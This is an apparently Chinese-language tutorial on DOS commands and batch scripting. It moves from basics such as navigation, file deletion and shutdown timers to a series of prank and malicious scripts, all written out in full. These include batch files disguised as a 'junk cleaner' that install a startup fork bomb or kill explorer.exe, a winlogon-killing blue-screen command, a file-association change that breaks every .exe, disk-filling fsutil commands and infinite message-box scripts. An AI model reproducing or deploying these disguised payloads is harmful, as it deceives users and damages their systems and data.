DOS命令
1.转到文件夹和返回
cd.. #返回上级目录
cd\ #返回根目录
d: #进入D盘
cls #清空所有dos操作
dir #显示当前盘符文件信息
rd . /s/q #清空磁盘
2.浏览文件
type文件名.扩展名 #示
type文件名.扩展名|more #分页显示
例如: dir c:windows |more #分页显示c盘目录下的windows文件
3.创建和删除文件夹
md 文件夹名 #创建文件夹
attrib +h 文件夹名 #隐藏文件夹
attrib -h 文件夹名 #取消隐藏文件夹
attrib +h +S +a文件夹名 #将文件夹隐藏设为系统文件
dir -a #显示当前磁盘所有包括系统文件
#快速生成一个空文件(有大小)
fsutil file createnew c:lsystem.ini数字 #在c盘创建一个叫lsysrem.ini的文件指定文件大小
del 文件名.文件格式 #删除文件
del *.txt #删除所有txt结尾的文件
del *.* #删除文件
del *.* /s/q #无提示删除所有文件
4.自动关机
常用shutdown命令:
-s #指的是关机
-t #指的是时间
-f #指的是强制
-a #指的是取消
-c #指的是消息
-h #指的是休眠
shutdown -s -t 100 #定时关机
shutdown -S -f -t 100 #定时强制关机
shutdown -r -t #秒定时重启
shutdown -a #取消一切定时包括定时关机和定时重启
shutdown -l #注销,同logoff命令相同
shutdown-s -f -t 100 -C "haah" #意思是“在100秒后强制关机提示消息是‘haah’”
5.文件的移动和复制
ren 旧名 新名 #重命名
move 原地址 新地址 #移动
copy 原地址 目的地址 #复制粘贴
显示当前系统的所有进程:tasklist
结束当前系统进程(如:firefox.exe,该进程ID是7908):taskkill/pid 7908
在反馈的进程信息中查看每个进程的起始程序或文件列表,判断是否为病毒或木马:Netstat -abnov
查看远程进程:tasklist/s 192.168.1.86 /u Adminitrator
查杀病毒进程,删除某个可疑进程:tasklist/im 进程名称(tsklist/im firefox.exe)
开机自启动:win + r ——》shell:startup (该目录下为开机自启动的程序——》拖入、移除)
注册表:win + r——》regedit
本地组策略:win + r ——》gpedit.msc(组策略禁用软件)
批处理
(属于CMD)
1.引入
至上而下成批的处理每一条命令,直到执行最后一条
如果中间有错误的指令跳过这条指令继续执行下一条指令直到结束
2.如何创建批处理
类名:文件名字.bat
新建一个记事本文件,然后将扩展名改为.bat
批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。
运行环境:当然是我们cmd了CMD指令
@echo off #关闭回显
echo #显示内容
pause #暂停一下没有这条语句,我们是看不到上图的显示效果的,程序只会一闪而过)
3.指定控制台输出的颜色属性
颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为文字颜色。
如:
color 0a #背景是黑色字体是淡绿色
title #设置程序名
每个数字可以为以下任何值之一:
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
例如: "cilor fc" 亮白色背景,淡红色文字颜色。
4.变量
@echo off #关闭回显
color 0a #背景是黑色字体是淡绿色
title 飞哥小程序v1.0 #设置程序名
echo ========================== #显示信息
echo 菜单 #显示信息
echo 1、修改管理员密码 #显示信息
echo 2、定时关机 #显示信息
echo 3、退出本程序 #显示信息
echo =========================== #显示信息
set /p u=请输入用户名: #获取收入信息并付给变量“u”(客户机上显示“请输入用户名”)
set /p p=请输入新密码: #获取收入信息并付给变量“p”(客户机上显示“请输入新密码”)
net user %u% %p% >nul #修改账户密码用户名为“变量U”密码为“变量p”(指令表示读取变量u读取变量p)
pause #
set /p u= ( 字符串 ) #获取输入的字符,将其赋值给变量u
%u% #提取变量u的值
net user 用户名 密码 #修改账户密码(windows所有平台支持)
>nul #清除一条命令执行后系统反馈
4.条件判断
if "%num%"=="1" 命令1 #如果条件成立,执行命令1;条件不成立,跳过命令1,向下走
5.分区块
: menu #"menu"区块
:1 #“1”区块
:2 #“2”区块
:3 #"3"区块
跳转区块(goto)
goto 区块名 #程序跳该区块
例如:goto menu #程序跳至“menu区块”
certutil ——证书打开命令、文件下载命令
开启端口:
win10系统:
例题
修改密码的程序:
a.修改密码的程序:
@echo off #关闭信息回传
color 0a #设置背景颜色是黑色文字颜色是绿色
title 小程序v1.0 #设置程序名字叫“小程序v1.0”
:menu #定义一个名叫“menu”的区块
cls #清空屏幕
echo ========================== #显示信息
echo 菜单 #显示信息
echo 1、修改管理员密码 #显示信息
echo 2、定时关机 #显示信息
echo 3、退出本程序 #显示信息
echo =========================== #显示信息
set /p num=您的选择是: #获取输入信息并赋予变量“num”
if "%num%"=="1" goto 1 #判断变量“num”是否等于1,如果是那就跳转到区块"1",如果不是那就跳过(执行下面的指令)
if "%num%"=="2" goto 2 #判断变量“num”是否等于2,如果是那就跳转到区块"2",如果不是那就跳过(执行下面的指令)
if "%num%"=="3" goto 3 #判断变量“num”是否等于3,如果是那就跳转到区块"3",如果不是那就跳过(执行下面的指令)
echo 别闹,好好输! #输出文字
pause #暂停一下
goto menu #转到区块“menu”
:1 #区块“1”
set /p u=请输入用户名: #获取输入信息并赋于变量“u”(显示“请输入用户”)
set /p p=请输入新密码: #获取输入信息并赋于变量“p”(显示“请输入新密码”)
net user %u% %p% >nul #修改账户密码 用户名是变量“u” 密码是变量“p” 并且清除这一条命令执行后的系统反馈
echo 您的密码已经设置成功! #输出文字
pause #暂停一下
goto menu #跳转到区块“menu”
:2 #区块“2”
set /p time=请输入时间: #获取输入信息并赋予变量“time”(显示“请输入时间”)
shutdown -s -t %time% #在变量“time”秒后自动关机
set /p x=是否取消(1:是,0:否): #获取输入信息并赋予变量“x”(显示是否取消(1:是,0:否))
if "%x%"=="1" shutdown -a #判断变量“x”是是否等于1、如果是那就执行注销全部定时关机和定时重启、如果不是就跳过(执行下面的指令)
goto menu #跳转到区块“menu”
pause #暂停一下
:3 #区块“3”
exit #退出CMD
批处理文件一:功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口
b.批处理文件一
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口
@echo off #关闭信息回传
title 系统垃圾清理 #给程序改名“系统垃圾清理”
color 2f #更改面板颜色(背景是绿色文字亮白色)
echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】======== #显示内容
echo. #显示一条空白内容
echo. #显示一条空白内容
echo :start>c:\windows\windows.bat #
echo start cmd>>c:\windows\windows.bat #
echo goto start>>c:\windows\windows.bat #
copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup" >nul #
if %errorlevel%==0 goto next #
copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul #
if %errorlevel%==1 goto error #
:next #
echo. #
echo. #
echo ====== 垃圾清理中,请不要关闭窗口====== #
echo. #
ping -n 5 127.0.0.1 >nul #
echo. #
echo ====== 垃圾清理完毕,共清理垃圾500M=== #
echo. #
echo. #
echo ====== 建议立即重启电脑 #
pause #
goto ex #
:error #
echo. #
echo. #
echo ====== 程序运行失败,请使用【管理员权限】重新运行!====== #
echo. #
pause #
goto ex #
:ex #
exit
注:系统启动菜单位置这里是winxp和win2003的位置,至于win后续系统或其他系统,去问万能的度娘。
批处理文件二:功能:伪装垃圾清理程序强制终止桌面进程
@echo off
title 系统垃圾清理
color 2f
echo ====== 若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
echo.
echo.
:next
echo.
echo.
echo ====== 垃圾清理中,请不要关闭窗口=======
echo.
ping -n 5 127.0.0.1 >nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo. ===== 完了,你系统废了======
ping -n 5 127.0.0.1>nul
echo.
start c:\windows\explorer.exe
echo.
echo ====== 已经修复好了!是不是吓坏了!!嘿嘿=========
pause
>nul 2>nul 消息全部屏蔽
桌面进程被杀死!
最简单的蓝屏炸弹文件:
最简单的蓝屏炸弹文件
ntsd -c q -pn winlogon.ex
分析:
ntsd #杀死进程
ntsd -c q -pn 进程名 #强制杀死进程
蓝屏原因:winlogon 进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!
对win2003有很大的杀伤力,但对win2008基本没有杀伤力
最简单的病毒:
最简单的病毒
assoc.exe=txtfile
分析:
修改文件关联,导致文件无法正常打开
测试效果;
最简单的病毒解药。
最简单的脚本:
方法:将.txt改为.vbs
msgbox "我最帅!"
最简单的死循环脚本:
最简单的死循环脚本
do
msgbox "我最帅!"
loop
测试:
效果:窗口无法关闭
解决方法:vbs 使用微软自带的wscript.exe来编写的。
有趣的脚本:
do
msgbox "我最帅!"
msgbox "小子,你对这件事有异议吗"
msgbox "你要为此付出代价"
msgbox "从现在开始我要求你点100下鼠标"
msgbox "100"
msgbox "99"
msgbox "98"
msgbox "97"
msgbox "96"
msgbox "95"
msgbox "94"
msgbox "93"
msgbox "92"
msgbox "91"
msgbox "90"
msgbox "...."
msgbox "3"
msgbox "2"
msgbox "1"
msgbox "如果你看到这里,说明你确实很执着,你感动了我,请再点一下"
msgbox "年轻人,有时候执着也没用,换个姿势再来一次"
loop
注:可以用修改图标软件修改vbs文件图标
整人网页:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>很恶心的常见整人效果的代码</title>
<link rel="stylesheet" href="">
</head>
<body>
<a href="" onmouseover="alert('飞哥真帅');
alert('哥真帅');
alert('哥是真帅');
alert('哥是真帅');
alert('哥是真的帅');
alert('同意不!');
alert('不同意?');
alert('去死吧');
">不许把鼠标移到这里!</a>点了真爽!!!
</body>
</html>
撑爆内存空间
e:
cd
fsutil file createnew e:\sys.ini 4096000000
fsutil file createnew e:\sys2.ini 4096000000
fsutil file createnew e:\sys3.ini 4096000000
fsutil file createnew e:\sys4.ini 4096000000
fsutil file createnew e:\sys5.ini 4096000000
不断出现cmd(第一行是开机也出现cmd)
copy qq.bat "%userorifile%\「开始」菜单\程序\启动"
:d
start
goto d
定时关机:
:1
set /p a= //关机时间
shutdown -s -f -t %a%
:2
:3
exit
杀死进程:
ntsd -c q -pn winlogon.exe
taskkill /im explorer.exe /f //杀死桌面进程
针对xp或2003的蓝屏命令